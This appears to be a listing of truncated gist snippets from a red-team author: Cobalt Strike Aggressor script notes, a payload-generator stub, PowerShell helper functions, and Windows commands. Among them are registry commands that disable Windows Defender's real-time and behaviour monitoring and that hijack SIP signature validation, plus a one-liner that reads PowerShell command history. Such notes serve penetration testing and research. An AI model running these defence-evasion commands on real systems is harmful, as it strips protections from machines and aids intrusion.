vestjoe

Aggressor Scripting Notes

Read data from the C2 profile

# Read the intial sleep time set in the c2 profile
$profile = data_query("metadata")["c2profile"];
$initialsleep = [$profile getString: ".sleeptime"];
$initialjitter = [$profile getString: ".jitter"];

vestjoe

# Staged Payload Generator
# Author: @joevest
# Generates all stageless payload types for each current listener

# Directory for Payloads
mkdir("/payloads");

println("Stageless Payload Generator");

menubar("Stageless Payload Generator", "payloadgenerator");

vestjoe

# Random file generator
# This tool generates random valid files of various types using real data based on Loreum Ipsum.  Files are created in a custom directory structure.
# Generates random files based on Lorem Ipsum text
# Generates random file names from word list
# Generate valid files of type: txt, docx, xlsx, pptx, xml, config

# Requirements
# On windows download and install lxml manually: https://pypi.python.org/pypi/lxml/3.4.4

'''

vestjoe

Function Find-Files() {
<#
.SYNOPSIS

Returns file list based on search terms.
    
.DESCRIPTION

Function: Find-Files

vestjoe

Function GET-RdmString() {
	param (
	    [int]$Length
	)
	$set    = "abcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
	$result = ""
	for ($x = 0; $x -lt $Length; $x++) {
	    $result += $set | Get-Random
	}
	return $result

vestjoe

Windows 10 Disable Virus and Threat Protections

:: Turn Off Windows Defender
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f

:: Cloud-protection level

vestjoe

param
(
    $username,
    $password,
    $domain
)

# Setup User Simulation
"[*] Setting up User Simulation" | Out-File -FilePath C:\Users\Public\usersim.txt -Append
$run = 'HKLM:\\\\SOFTWARE\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'

vestjoe

Change SIP Signature validation for PE files

reg ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v DLL /t REG_SZ /d C:\Windwows\System32\ntdll.dll /f
reg ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v FuncName /t REG_SZ /d DbgUiContinue /f

Change SIP Signature validation for signed PowerShell scripts

vestjoe

PowerShell.md

PowerShell commandline history

Get-PSReadlineOption | Select-Object -ExpandProperty HistorySavePath | Get-ChildItem | Get-Content

Screenshot

vestjoe

Pyinstaller

python -m PyInstaller --onefile <script.py>